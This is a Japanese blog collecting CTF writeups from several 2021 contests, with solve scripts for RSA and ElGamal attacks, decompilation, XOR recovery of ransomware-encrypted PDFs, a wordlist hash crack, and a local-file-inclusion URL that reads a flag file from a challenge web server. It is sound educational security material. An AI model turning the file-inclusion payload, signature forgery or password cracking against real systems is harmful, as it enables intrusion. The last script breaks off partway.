Sunshine CTF 2021 Writeup

この大会は2021/9/18 23:00(JST)~2021/9/19 23:00(JST)に開催されました。
今回もチームで参戦。結果は113点で302チーム中85位でした。
自分で解けた問題をWriteupとして書いておきます。

Liveness Check (Misc 1)

問題にフラグが書いてあった。

sun{flag_to_check_if_you_are_alive}

Discooooooooord (Misc 2)

Discordに入り、#announcementsチャネルのトピックを見ると、フラグが書いてあった。

sun{dont_u_love_work_from_home}

Mr Robot (Crypto 10)

問題文中のbase64文字列らものを結合して、base64デコードする。

$ echo c3Vue2hlbGxvX3dvcmxkfQ== | base64 -d
sun{hello_world}
sun{hello_world}

MultipleExponents (Crypto 100)

同じn、異なる2つのeでそれぞれ暗号がわかっているので、Common Modules Attackで復号する。

from Crypto.Util.number import *
import gmpy

def commom_modules_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy.invert(c2, n)
 
    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v*w) % n
    return x

n = 86683300105327745365439507825347702001838360528840593828044782382505346188827666308497121206572195142485091411381691608302239467720308057846966586611038898446400292056901615985225826651071775239736355509302701234225559345175968513640372874437860580877571155199027883755959442408968543666251138423852242301639
e1 = 11048796690938982746152432997911442334648615616780223415034610235310401058533076125720945559697433984697892923155680783661955179131565701195219010273246901
e2 = 9324711814017970310132549903114153787960184299541815910528651555672096706340659762220635996774790303001176856753572297256560097670723015243180488972016453
c1 = 84855521319828020020448068809384113135703375013574055636013459151984904926013060168559438932572351720988574536405041219757650609586761217385808427001020204262032305874206933548737826840501447182203920238204769775531537454607204301478815830436609423437869412027820433923450056939361510843151320837485348066171
c2 = 54197787252581595971205193568331257218605603041941882795362450109513512664722304194032130716452909927265994263753090021761991044436678485565631063700887091405932490789561882081600940995910094939803525325448032287989826156888870845730794445212288211194966299181587885508098448750830074946100105532032186340554
 
m = commom_modules_attack(c1, c2, e1, e2, n)
flag = long_to_bytes(m)
print(flag)
sun{d0n7_d0_m0r3_th4n_0ne_3xp0n3nt}

Trend Micro CTF 2021 - Raimund Genes Cup - Online Qualifier Writeup

この大会は2021/9/18 13:00(JST)~2021/9/19 13:00(JST)に開催されました。
今回もチームで参戦。結果は100点で81チーム中52位でした。
自分で解けた問題をWriteupとして書いておきます。

Reversing-I 100

ファイル名などからPythonの実行ファイル化したものと推測できる。Pythonコードにデコンパイルする。

$ python pyinstxtractor.py PyPuzzle.exe 
[*] Processing PyPuzzle.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 37
[*] Length of package: 8032677 bytes
[*] Found 76 files in CArchive
[*] Beginning extraction...please standby
[!] Warning: The script is running in a different python version than the one used to build the executable
    Run this script in Python37 to prevent extraction errors(if any) during unmarshalling
[!] Unmarshalling FAILED. Cannot extract PYZ-00.pyz. Extracting remaining files.
[*] Successfully extracted pyinstaller archive: PyPuzzle.exe

You can now use a python decompiler on the pyc files within the extracted directory

PyPuzzle.exe_extracted\PyPuzzleを編集し、ヘッダを付けpycにする。ヘッダは以下を16バイト付けた。

3e 0d 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00
$ uncompyle6 PyPuzzle.pyc
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3390)
# Decompiled from: Python 3.6.9 (default, Jan 26 2021, 15:33:00) 
# [GCC 8.4.0]
# Embedded file name: PyPuzzle.py
import pygame, sys, random
from pygame.locals import *
BOARDWIDTH = 4
BOARDHEIGHT = 4
TILESIZE = 100
WINDOWWIDTH = 500
WINDOWHEIGHT = 550
FPS = 30
BLANK = None
BLACK = (0, 0, 0)
WHITE = (248, 240, 239)
BRIGHTBLUE = (0, 50, 255)
DARKTURQUOISE = (3, 54, 73)
BLUE = (214, 25, 32)
GREEN = (0, 128, 0)
RED = (255, 0, 0)
BGCOLOR = (248, 240, 239)
TILECOLOR = BLUE
TEXTCOLOR = WHITE
BORDERCOLOR = RED
BASICFONTSIZE = 20
TEXT = (214, 25, 32)
BUTTONCOLOR = (214, 25, 32)
BUTTONTEXTCOLOR = (214, 25, 32)
MESSAGECOLOR = (214, 25, 32)
XMARGIN = int((WINDOWWIDTH - (TILESIZE * BOARDWIDTH + (BOARDWIDTH - 1))) / 4)
YMARGIN = int((WINDOWHEIGHT - (TILESIZE * BOARDHEIGHT + (BOARDHEIGHT - 1))) / 2)
UP = 'up'
DOWN = 'down'
LEFT = 'left'
RIGHT = 'right'

def main():
    global BASICFONT
    global DISPLAYSURF
    global FPSCLOCK
    global NEW_RECT
    global NEW_SURF
    global RESET_RECT
    global RESET_SURF
    global SOLVE_RECT
    global SOLVE_SURF
    pygame.init()
    FPSCLOCK = pygame.time.Clock()
    DISPLAYSURF = pygame.display.set_mode((WINDOWWIDTH, WINDOWHEIGHT))
    pygame.display.set_caption('Slide Puzzle')
    BASICFONT = pygame.font.Font('freesansbold.ttf', BASICFONTSIZE)
    RESET_SURF, RESET_RECT = makeText('Reset', TEXT, BGCOLOR, WINDOWWIDTH - 375, WINDOWHEIGHT - 40)
    NEW_SURF, NEW_RECT = makeText('New Game', TEXT, BGCOLOR, WINDOWWIDTH - 250, WINDOWHEIGHT - 40)
    SOLVE_SURF, SOLVE_RECT = makeText('Solve', WHITE, BGCOLOR, WINDOWWIDTH - 80, WINDOWHEIGHT - 40)
    mainBoard, solutionSeq = generateNewPuzzle(80)
    SOLVEDBOARD = getStartingBoard()
    allMoves = []
    while True:
        slideTo = None
        msg = 'Click tile or press arrow keys to slide.'
        if mainBoard == SOLVEDBOARD:
            msg = 'Solved! But Wait you need to decrypt the flag *_^'
            flag = '3blKlvIKqQoG0D6B4XDcZxQjbLbg4KVJQzbm8b'
        drawBoard(mainBoard, msg)
        checkForQuit()
        for event in pygame.event.get():
            if event.type == MOUSEBUTTONUP:
                spotx, spoty = getSpotClicked(mainBoard, event.pos[0], event.pos[1])
                if (
                 spotx, spoty) == (None, None):
                    if RESET_RECT.collidepoint(event.pos):
                        resetAnimation(mainBoard, allMoves)
                        allMoves = []
                    else:
                        if NEW_RECT.collidepoint(event.pos):
                            mainBoard, solutionSeq = generateNewPuzzle(80)
                            allMoves = []
                        else:
                            if SOLVE_RECT.collidepoint(event.pos):
                                resetAnimation(mainBoard, solutionSeq + allMoves)
                                allMoves = []
                else:
                    blankx, blanky = getBlankPosition(mainBoard)
                    if spotx == blankx + 1 and spoty == blanky:
                        slideTo = LEFT
                    else:
                        if spotx == blankx - 1 and spoty == blanky:
                            slideTo = RIGHT
                        else:
                            if spotx == blankx and spoty == blanky + 1:
                                slideTo = UP
                            else:
                                if spotx == blankx:
                                    if spoty == blanky - 1:
                                        slideTo = DOWN
                                    elif event.type == KEYUP:
                                        if event.key in (K_LEFT, K_a):
                                            if isValidMove(mainBoard, LEFT):
                                                slideTo = LEFT
                                        else:
                                            if event.key in (K_RIGHT, K_d):
                                                if isValidMove(mainBoard, RIGHT):
                                                    slideTo = RIGHT
                                            if event.key in (K_UP, K_w):
                                                if isValidMove(mainBoard, UP):
                                                    slideTo = UP
                                        if event.key in (K_DOWN, K_s):
                                            if isValidMove(mainBoard, DOWN):
                                                slideTo = DOWN

        if slideTo:
            slideAnimation(mainBoard, slideTo, 'Click tile or press arrow keys to slide.', 8)
            makeMove(mainBoard, slideTo)
            allMoves.append(slideTo)
        pygame.display.update()
        FPSCLOCK.tick(FPS)


def terminate():
    pygame.quit()
    sys.exit()


def checkForQuit():
    for event in pygame.event.get(QUIT):
        terminate()

    for event in pygame.event.get(KEYUP):
        if event.key == K_ESCAPE:
            terminate()
        pygame.event.post(event)


def getStartingBoard():
    counter = 1
    board = []
    for x in range(BOARDWIDTH):
        column = []
        for y in range(BOARDHEIGHT):
            column.append(counter)
            counter += BOARDWIDTH

        board.append(column)
        counter -= BOARDWIDTH * (BOARDHEIGHT - 1) + BOARDWIDTH - 1

    board[(BOARDWIDTH - 1)][BOARDHEIGHT - 1] = BLANK
    return board


def getBlankPosition(board):
    for x in range(BOARDWIDTH):
        for y in range(BOARDHEIGHT):
            if board[x][y] == BLANK:
                return (
                 x, y)


def makeMove(board, move):
    blankx, blanky = getBlankPosition(board)
    if move == UP:
        board[blankx][blanky], board[blankx][blanky + 1] = board[blankx][(blanky + 1)], board[blankx][blanky]
    else:
        if move == DOWN:
            board[blankx][blanky], board[blankx][blanky - 1] = board[blankx][(blanky - 1)], board[blankx][blanky]
        else:
            if move == LEFT:
                board[blankx][blanky], board[(blankx + 1)][blanky] = board[(blankx + 1)][blanky], board[blankx][blanky]
            else:
                if move == RIGHT:
                    board[blankx][blanky], board[(blankx - 1)][blanky] = board[(blankx - 1)][blanky], board[blankx][blanky]


def isValidMove(board, move):
    blankx, blanky = getBlankPosition(board)
    return move == UP and blanky != len(board[0]) - 1 or move == DOWN and blanky != 0 or move == LEFT and blankx != len(board) - 1 or move == RIGHT and blankx != 0


def getRandomMove(board, lastMove=None):
    validMoves = [
     UP, DOWN, LEFT, RIGHT]
    if not (lastMove == UP or isValidMove(board, DOWN)):
        validMoves.remove(DOWN)
    if not (lastMove == DOWN or isValidMove(board, UP)):
        validMoves.remove(UP)
    if not (lastMove == LEFT or isValidMove(board, RIGHT)):
        validMoves.remove(RIGHT)
    if not (lastMove == RIGHT or isValidMove(board, LEFT)):
        validMoves.remove(LEFT)
    return random.choice(validMoves)


def getLeftTopOfTile(tileX, tileY):
    left = XMARGIN + tileX * TILESIZE + (tileX - 1)
    top = YMARGIN + tileY * TILESIZE + (tileY - 1)
    return (left, top)


def getSpotClicked(board, x, y):
    for tileX in range(len(board)):
        for tileY in range(len(board[0])):
            left, top = getLeftTopOfTile(tileX, tileY)
            tileRect = pygame.Rect(left, top, TILESIZE, TILESIZE)
            if tileRect.collidepoint(x, y):
                return (
                 tileX, tileY)

    return (None, None)


def drawTile(tilex, tiley, number, adjx=0, adjy=0):
    left, top = getLeftTopOfTile(tilex, tiley)
    pygame.draw.rect(DISPLAYSURF, TILECOLOR, (left + adjx, top + adjy, TILESIZE, TILESIZE))
    textSurf = BASICFONT.render(str(number), True, TEXTCOLOR)
    textRect = textSurf.get_rect()
    textRect.center = (left + int(TILESIZE / 2) + adjx, top + int(TILESIZE / 2) + adjy)
    DISPLAYSURF.blit(textSurf, textRect)


def makeText(text, color, bgcolor, top, left):
    textSurf = BASICFONT.render(text, True, color, bgcolor)
    textRect = textSurf.get_rect()
    textRect.topleft = (top, left)
    return (textSurf, textRect)


def drawBoard(board, message):
    DISPLAYSURF.fill(BGCOLOR)
    if message:
        textSurf, textRect = makeText(message, MESSAGECOLOR, BGCOLOR, 5, 5)
        DISPLAYSURF.blit(textSurf, textRect)
    for tilex in range(len(board)):
        for tiley in range(len(board[0])):
            if board[tilex][tiley]:
                drawTile(tilex, tiley, board[tilex][tiley])

    left, top = getLeftTopOfTile(0, 0)
    width = BOARDWIDTH * TILESIZE
    height = BOARDHEIGHT * TILESIZE
    pygame.draw.rect(DISPLAYSURF, BORDERCOLOR, (left - 5, top - 5, width + 11, height + 11), 4)
    DISPLAYSURF.blit(RESET_SURF, RESET_RECT)
    DISPLAYSURF.blit(NEW_SURF, NEW_RECT)
    DISPLAYSURF.blit(SOLVE_SURF, SOLVE_RECT)


def slideAnimation(board, direction, message, animationSpeed):
    blankx, blanky = getBlankPosition(board)
    if direction == UP:
        movex = blankx
        movey = blanky + 1
    else:
        if direction == DOWN:
            movex = blankx
            movey = blanky - 1
        else:
            if direction == LEFT:
                movex = blankx + 1
                movey = blanky
            else:
                if direction == RIGHT:
                    movex = blankx - 1
                    movey = blanky
    drawBoard(board, message)
    baseSurf = DISPLAYSURF.copy()
    moveLeft, moveTop = getLeftTopOfTile(movex, movey)
    pygame.draw.rect(baseSurf, BGCOLOR, (moveLeft, moveTop, TILESIZE, TILESIZE))
    for i in range(0, TILESIZE, animationSpeed):
        checkForQuit()
        DISPLAYSURF.blit(baseSurf, (0, 0))
        if direction == UP:
            drawTile(movex, movey, board[movex][movey], 0, -i)
        if direction == DOWN:
            drawTile(movex, movey, board[movex][movey], 0, i)
        if direction == LEFT:
            drawTile(movex, movey, board[movex][movey], -i, 0)
        if direction == RIGHT:
            drawTile(movex, movey, board[movex][movey], i, 0)
        pygame.display.update()
        FPSCLOCK.tick(FPS)


def generateNewPuzzle(numSlides):
    sequence = []
    board = getStartingBoard()
    drawBoard(board, '')
    pygame.display.update()
    pygame.time.wait(500)
    lastMove = None
    for i in range(numSlides):
        move = getRandomMove(board, lastMove)
        slideAnimation(board, move, 'Generating new puzzle...', animationSpeed=(int(TILESIZE / 3)))
        makeMove(board, move)
        sequence.append(move)
        lastMove = move

    return (
     board, sequence)


def resetAnimation(board, allMoves):
    revAllMoves = allMoves[:]
    revAllMoves.reverse()
    for move in revAllMoves:
        if move == UP:
            oppositeMove = DOWN
        else:
            if move == DOWN:
                oppositeMove = UP
            else:
                if move == RIGHT:
                    oppositeMove = LEFT
                else:
                    if move == LEFT:
                        oppositeMove = RIGHT
        slideAnimation(board, oppositeMove, '', animationSpeed=(int(TILESIZE / 2)))
        makeMove(board, oppositeMove)


if __name__ == '__main__':
    main()
# okay decompiling PyPuzzle.pyc

flagの値'3blKlvIKqQoG0D6B4XDcZxQjbLbg4KVJQzbm8b'を復号する必要がある。
base62と推測して、https://www.better-converter.com/Encoders-Decoders/Base62-Decodeで復号する。

GZPGS{EriRe$!at_Vf_@_Chmmyr}

さらにシーザー暗号と推測して、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 13:
TMCTF{RevEr$!ng_Is_@_Puzzle}
TMCTF{RevEr$!ng_Is_@_Puzzle}

COMPFEST CTF 2021 Writeup

この大会は2021/9/12 17:00(JST)~2021/9/13 17:00(JST)に開催されました。
今回もチームで参戦。結果は1097点で232チーム中29位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

問題にフラグが書いてあった。

COMPFEST13{Welcome_to_CTF_COMPFEST_13}

Promotional Video (Misc)

字幕にフラグが表示されるが早くで読めない。http://video.google.com/timedtext?type=list&v=047T5AZpOiIにアクセスして字幕情報を見る。

<transcript_list docid="15244354765009271330">
<track id="0" name="" lang_code="en" lang_original="English" lang_translated="English" lang_default="true"/>
</transcript_list>

http://video.google.com/timedtext?hl=en&lang=en&name=&v=047T5AZpOiIにアクセスする。

<transcript>
<text start="0" dur="5">Don't forget to follow our social media and visit our website (link in description)</text>
<text start="5" dur="0.001">C</text>
<text start="5.502" dur="0.001">O</text>
<text start="6.307" dur="0.001">M</text>
<text start="6.407" dur="0.001">P</text>
<text start="7.507" dur="0.001">F</text>
<text start="7.607" dur="0.001">E</text>
<text start="7.707" dur="0.001">S</text>
<text start="8.807" dur="0.001">T</text>
<text start="9.907" dur="0.001">1</text>
<text start="10.007" dur="0.001">3</text>
<text start="10.107" dur="0.001">{</text>
<text start="10.207" dur="0.001">c</text>
<text start="10.307" dur="0.001">4</text>
<text start="10.407" dur="0.001">p</text>
<text start="10.507" dur="0.001">t</text>
<text start="11.607" dur="0.001">U</text>
<text start="11.707" dur="0.001">r</text>
<text start="11.807" dur="0.001">3</text>
<text start="11.907" dur="0.001">_</text>
<text start="12.007" dur="0.001">T</text>
<text start="12.107" dur="0.001">h</text>
<text start="12.207" dur="0.001">3</text>
<text start="12.307" dur="0.001">_</text>
<text start="12.407" dur="0.001">F</text>
<text start="12.507" dur="0.001">l</text>
<text start="12.607" dur="0.001">4</text>
<text start="12.707" dur="0.001">g</text>
<text start="12.807" dur="0.001">_</text>
<text start="12.907" dur="0.001">c</text>
<text start="13.007" dur="0.001">b</text>
<text start="13.107" dur="0.001">1</text>
<text start="13.207" dur="0.001">2</text>
<text start="13.307" dur="0.001">1</text>
<text start="13.407" dur="0.001">7</text>
<text start="13.507" dur="0.001">b</text>
<text start="13.607" dur="0.001">c</text>
<text start="13.707" dur="0.001">c</text>
<text start="13.807" dur="0.001">d</text>
<text start="13.907" dur="0.001">}</text>
</transcript>
COMPFEST13{c4ptUr3_Th3_Fl4g_cb1217bccd}

Snab? Yes, Snab (Cryptography)

sはp + qの2乗なので、sの平方根をとれば、p + q (= p_q とする) がわかる。また以下の式より、phiもわかる。

phi = (p - 1) * (q - 1) = n - (p + q) + 1 = n - p_q + 1

さらにGCD(pow(s, 3) - a, b) = rと推測できる。以上により復号する。復号結果は以下の通り。

#Snab says good job! But you're not done yet
flag = findme
halfa = ''.join([flag[i] for i in range (0, len(flag), 2)])
halfb = ''.join([flag[i] for i in range (1, len(flag), 2)]
p = bytes_to_long(bytes(halfa, encoding = 'utf-8'))
q = bytes_to_long(bytes(halfb, encoding = 'utf-8'))
r = 0
while (not(isPrime(p) and isPrime(q))):
    p += 1
    q += 1
    r += 1

p, qの値からそれぞれrだけ引けば、元のp, qがわかりhalfa, halfbを求められる。あとは交互に構成していけば、フラグになる。qを求めるには以下のことを使う。

b = (s - q * (2 * p + q)) * r
  = (s - 2 * n - q**2)  * r
    ↓
q**2 = s - 2 * n - (b // r)
from Crypto.Util.number import *
import gmpy

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e = int(params[0])
s = int(params[1])
n = int(params[2])
a = int(params[3])
b = int(params[4])
c_list = eval(params[5])

p_q = int(gmpy.root(s, 2)[0])
assert pow(p_q, 2) == s

phi = n - p_q + 1
d = inverse(e, phi)
r = GCD(pow(s, 3) - a, b)

m_list = []
for c in c_list:
    mr = pow(c, d, n)
    m_list.append(mr // r)

for m in m_list:
    msg = long_to_bytes(m).rstrip()
    print msg
print

q = int(gmpy.root(s - 2 * n - (b // r), 2)[0])
p = n // q
assert p * q == n

p = p - r
q = q - r
halfa = long_to_bytes(p)
halfb = long_to_bytes(q)

flag = ''
for i in range(len(halfa)):
    flag += halfa[i]
    flag += halfb[i]

print flag

実行結果は以下の通り。

#Snab says good job! But you're not done yet
flag = findme
halfa = ''.join([flag[i] for i in range (0, len(flag), 2)])
halfb = ''.join([flag[i] for i in range (1, len(flag), 2)]
p = bytes_to_long(bytes(halfa, encoding = 'utf-8'))
q = bytes_to_long(bytes(halfb, encoding = 'utf-8'))
r = 0
while (not(isPrime(p) and isPrime(q))):
    p += 1
    q += 1
    r += 1

Cool! You did it! {y0U_d1DnT_3xpEcT_t0_FinD_pQ_4s_a_fl4g_DiD_y0u_7e1877a801}
COMPFEST13{y0U_d1DnT_3xpEcT_t0_FinD_pQ_4s_a_fl4g_DiD_y0u_7e1877a801}

RCTF 2021 Writeup

この大会は2021/9/11 10:00(JST)~2021/9/13 10:00(JST)に開催されました。
今回もチームで参戦。結果は240点で483チーム中120位でした。
他のCTFに集中したため、参加表明の問題とアンケートに答える問題しか解けていませんが、
自分で解けた問題をWriteupとして書いておきます。

welcome_to_rctf (Misc)

問題のURLにアクセスし、しばらくするとフラグが現れた。

RCTF{welcome_to_rctf2021}

FeedBack (Misc)

アンケートに答えたら、フラグが表示された。

RCTF{Thanks_for_your_FeedBack_See_You_Next_Year}

CSAW CTF Qualification Round 2021 Writeup

この大会は2021/9/11 5:00(JST)~2021/9/13 5:00(JST)に開催されました。
今回もチームで参戦。結果は3599点で1216チーム中72位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (misc)

Discordに入り、#rulesチャネルで:thumbsup:のリアクションをすると、いくつかチャネルが現れる。#generalチャネルのトピックにフラグが書いてあった。

flag{W3Lcom3_7o_CS4w_D1ScoRD}

poem-collection (warm-up)

poemsのリンクをクリックすると、ワーニングが出る。

Warning:  file_get_contents(): Filename cannot be empty in /var/www/html/poems/index.php on line 4

他にpoem1.txt、poem2.txt、poem3.txtのボタンがある。poem1.txtのボタンをクリックすると、以下のURLに遷移する。

http://web.chal.csaw.io:5003/poems/?poem=poem1.txt

http://web.chal.csaw.io:5003/poems/?poem=/var/www/html/flag.txtにアクセスすると、フラグが表示された。

flag{l0c4l_f1l3_1nclusi0n_f0r_7h3_w1n}

Turing (warm-up)

https://cryptii.com/pipes/enigma-machineで復号する。
f:id:satou-y:20210915081632p:plain

flag{scruffy_looking_nerf_herder}

checker (warm-up)

コードを見ると、2進数文字列にして、いろいろとエンコードしているので、逆算する。

#!/usr/bin/env python3

def rev_up(x):
    x = [chr(int(x[i:i+8], 2) >> 1) for i in range(0, len(x), 8)]
    return ''.join(x)

def rev_down(x):
    x = ''.join(['1' if x[i] == '0' else '0' for i in range(len(x))])
    return x

def rev_right(x, d):
    x = x[-d:] + x[:-d]
    return x

def rev_left(x, d):
    x = x[::-1]
    x = rev_right(x, len(x) - d)
    return x

encoded = '1010000011111000101010101000001010100100110110001111111010001000100000101000111011000100101111011001100011011000101011001100100010011001110110001001000010001100101111001110010011001100'

d = 24
x = rev_left(encoded, d)
x = rev_down(x)
x = rev_right(x, d)
flag = rev_up(x)
print(flag)
flag{r3vers!nG_w@rm_Up}

Crack Me (warm-up)

saltはハッシュの方式。ハッシュの長さから、目的のハッシュはsha256であることがわかる。saltは"sha256"としてrockyou.txtのワードをブルートフォースで探す。

from hashlib import sha256

h = 'a60458d2180258d47d7f7bef5236b33e86711ac926518ca4545ebf24cdc0b76c'

with open('dict/rockyou.txt', 'r') as f:
    words = f.read().split('\n')

for word in words:
    text = 'sha256' + word
    if sha256(text).hexdigest() == h:
        flag = 'flag{%s}' % word
        print flag
        break
flag{cathouse}

ransomwaRE (rev)

ファイルサイズから平文と暗号文の対応は以下のようになっている。

2020_IC3Report.pdf.backup:cad0b75505847a4792a67bb33ece21ec9c7bd21395ca6b158095d92772e01637.pdf.cryptastic
20180212_113048_Jones_C_ADMI2017_Ransomware.pdf.backup:9df65cc45479c058ef4a600c1e607fec44d83682db732f077817c58bed47a191.pdf.cryptastic
us-aers-ransomware.pdf.backup:a25981adfb782d04cccfb2ad66ae8e63ead31f62fb898913f1ec99359f2e1c4b.pdf.cryptastic

平文はすべてPDFで暗号文のヘッダ部分は同じ。バイナリの解析が困難だったため、XORと推測して、上記の鍵を求めて比較してみると、同じであることがわかった。
平文がない暗号文にも同じ鍵でXORして復号する。

from Crypto.Util.strxor import strxor

with open('files/2020_IC3Report.pdf.backup', 'rb') as f:
    pt1 = f.read()

with open('files/cad0b75505847a4792a67bb33ece21ec9c7bd21395ca6b158095d92772e01637.pdf.cryptastic', 'rb') as f:
    ct1 = f.read()

with open('files/20180212_113048_Jones_C_ADMI2017_Ransomware.pdf.backup', 'rb') as f:
    pt2 = f.read()

with open('files/9df65cc45479c058ef4a600c1e607fec44d83682db732f077817c58bed47a191.pdf.cryptastic', 'rb') as f:
    ct2 = f.read()

with open('files/us-aers-ransomware.pdf.backup', 'rb') as f:
    pt3 = f.read()

with open('files/a25981adfb782d04cccfb2ad66ae8e63ead31f62fb898913f1ec99359f2e1c4b.pdf.cryptastic', 'rb') as f:
    ct3 = f.read()

with open('files/ea6b505ffded681a256232ed214d4c3b410c8b4f052775eb7e67dcbd5af64e63.pdf.cryptastic', 'rb') as f:
    ct = f.read()

key1 = strxor(pt1, ct1)
key2 = strxor(pt2, ct2)
key3 = strxor(pt3, ct3)
keys = [key1, key2, key3]

min_l = min([len(k) for k in keys])
assert key1[:min_l] == key2[:min_l] == key3[:min_l]

key = ''
for k in keys:
    if len(key) < len(k):
        key = k

pt = strxor(ct, key[:len(ct)])

with open('flag.pdf', 'wb') as f:
    f.write(pt)

復号すると、PDFになり、開いてみると、フラグが書いてあった。
f:id:satou-y:20210915122321p:plain

flag{w4y_t0_put_th3_RE_1n_W1nd0w5_r4n50mw4RE}

Lazy Leaks (forensics)

SSHの通信のほかにTELNETの通信がある。このTELNET通信の中にフラグがあった。

flag{T00_L@ZY_4_$3CUR1TY}

Contact Us (forensics)

Wiresharkで開くと、たくさんのTLS通信がある。sslkeyfile.txtが添付されているので、[編集]-[設定]で左ペインの[Protocols]-[TLS]を選択し、以下を設定する。

(Pre)-Master-Secret log filename: sslkeyfile.txtのパス

これでTLS通信が復号される。http2でフィルタリングして見ていくと、No.2534のパケットのjsonデータの中にフラグが書いてあった。

flag{m@r$hm3ll0w$}

Forgery (crypto)

サーバ処理の概要は以下の通り。

・p: 1024ビット素数
・g = 3
・MASK = 2**1024 - 1
・x, y = gen_keys()
 ・x: 1以上p-2以下ランダム整数
 ・y = pow(g, x, p)
・p, g, y表示
・answer: 入力(hex)
・r: 数値入力
・s: 数値入力
・answer_bytes: answerのhexデコード
・answer_bytesに'Felicity', 'Cisco', 'both'のどれも含まれていない場合、エラー
・answer_bytesに'Felicity', 'Cisco', 'both'のどれかが含まれていて、verifyでOKならフラグを表示

answer_bytesに上記の文字列('Felicity'など)が含んでいるかを判定した後にanswer_bytesにマスクをかけて署名をしている。このため、answer_bytesを十分長い文字列にして、MASKよりも上位のbitで上記の文字列を含めればよい。

#!/usr/bin/env python3
import socket
from math import gcd
from random import randint

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

MASK = 2**1024 - 1

_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_s.connect(('crypto.chal.csaw.io', 5006))

data = recvuntil(_s, b': \r\n').rstrip()
print(data)

params = [int(x) for x in data.splitlines()[0].split(' ')[-3:]]
p = params[0]
g = params[1]
y = params[2]

answer_bytes = b'Felicity'
answer_bytes += (256 - len(answer_bytes)) * b'\x00'
answer_int = int(answer_bytes.hex(), 16)

while True:
    t = randint(2, p - 2)
    if gcd(t, p - 1) != 1:
        continue
    r = pow(g, t, p) * y % p
    s = (-r) % (p - 1)
    m = t * s % (p - 1)
    break

answer_int += m

answer = hex(answer_int)[2:]
print(answer)
_s.sendall(answer.encode() + b'\n')

data = recvuntil(_s, b': \r\n').rstrip()
print(data)
print(r)
_s.sendall(str(r).encode() + b'\n')

data = recvuntil(_s, b': \r\n').rstrip()
print(data)
print(s)
_s.sendall(str(s).encode() + b'\n')

data = recvuntil(_s, b'\r\n').rstrip()
print(data)
data = recvuntil(_s, b'\r\n').rstrip()
print(data)

実行結果は以下の通り。

Server's public key (p,g,y): 145379552079804240300701619131905344145060662795005078098058868656983068485567681351555280647383836613556100371398565015796687662667116939870826138688421571561812594821087386511901583707263296350866220590056080998488294893557149165228181031300765081937739860599403361056622254223152428630321374744003060069747 3 83129544495179983348250330574468935673212486707482957462618847302030127437270491478309896072969529264536660072514334996867730112324715524908855568729247202756009063618035203589329583330846127136338025251913396630011131146064385787250692351861350487599230217963800165880403130765215313661386030104082738453473
Who do you think is the tech wizard: Felicity or Cisco or both? Please answer it with your signnature (r,s)
Answer:
46656c6963697479000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000260df8a645f58b98798c0bc6ebf4c8fafe41141a9cc88be749ab1dd54045de0f807f4826fb4607ea2633be7cdd3104bd5963ade62c5997603e114c7ceb5207b3672fcbd048c7030d845eeb2782574b98df68a3d913ed022d95718b44db9cf92d2e2480272073c0290913df4f2cb164eb3bd428c3dd324b754bbfc1bd0ed2bbb7
r:
49712563831430704343498670698226407134454453509544036157981477720170332031904902296209319209197744317779220509775257930387056451470123415567403718345671356531842436786711947107540384344066225474160519508789760857533457842202991446221441079134122383642678473455348259313376489561520788655018344019268566104649
s:
95666988248373535957202948433678937010606209285461041940077390936812736453662779055345961438186092295776879861623307085409631211196993524303422420342750215029970158034375439404361199363197070876705701081266320140954837051354157719006739952166642698295061387144055101743245764661631639975303030724734493965097
I see you are a fan of Arrow!
flag{7h3_4rr0wv3r53_15_4w350M3!}
flag{7h3_4rr0wv3r53_15_4w350M3!}

RSA Pop Quiz (crypto)

RSAの問題が何問か出るようだ。結果的には以下を順に解いていくことになった。

1つ目はeが大きいので、Wiener's attackで復号する。
2つ目はFermat法でnを素因数分解し復号する。
3つ目はLSB decryption oracle attackで復号する。
4つ目はPartial Key Exposure Attackで復号する。

とりあえず1つ目から3つ目の暗号を復号していく。

import socket
import gmpy
from Crypto.Util.number import *
from fractions import Fraction

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def continued_fraction(n, d):
    cf = []
    while d:
        q = n // d
        cf.append(q)
        n, d = d, n - d * q
    return cf

def convergents_of_contfrac(cf):
    n0, n1 = cf[0], cf[0] * cf[1] + 1
    d0, d1 = 1, cf[1]
    yield (n0, d0)
    yield (n1, d1)

    for i in xrange(2, len(cf)):
        n2, d2 = cf[i] * n1 + n0, cf[i] * d1 + d0
        yield (n2, d2)
        n0, n1 = n1, n2
        d0, d1 = d1, d2

def wieners_attack(e, n):
    cf = continued_fraction(e, n)
    convergents = convergents_of_contfrac(cf)

    for k, d in convergents:
        if k == 0:
            continue
        phi, rem = divmod(e * d - 1, k)
        if rem != 0:
            continue
        s = n - phi + 1
        D = s * s - 4 * n
        if D > 0 and gmpy.is_square(D):
            return d

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

def lsb_oracle(s, cipher):
    print cipher
    s.sendall(str(cipher) + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    data = recvuntil(s, '\n').rstrip()
    print data
    res = int(data.split(': ')[1])
    return res

def lsb_continue(s, ans):
    data = recvuntil(s, ')\r\n').rstrip()
    print data
    print ans
    s.sendall(ans + '\n')
    if ans == 'yes':
        data = recvuntil(s, ')\r\n').rstrip()
    else:
        data = recvuntil(s, '?\r\n').rstrip()
    print data

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chal.csaw.io', 5008))
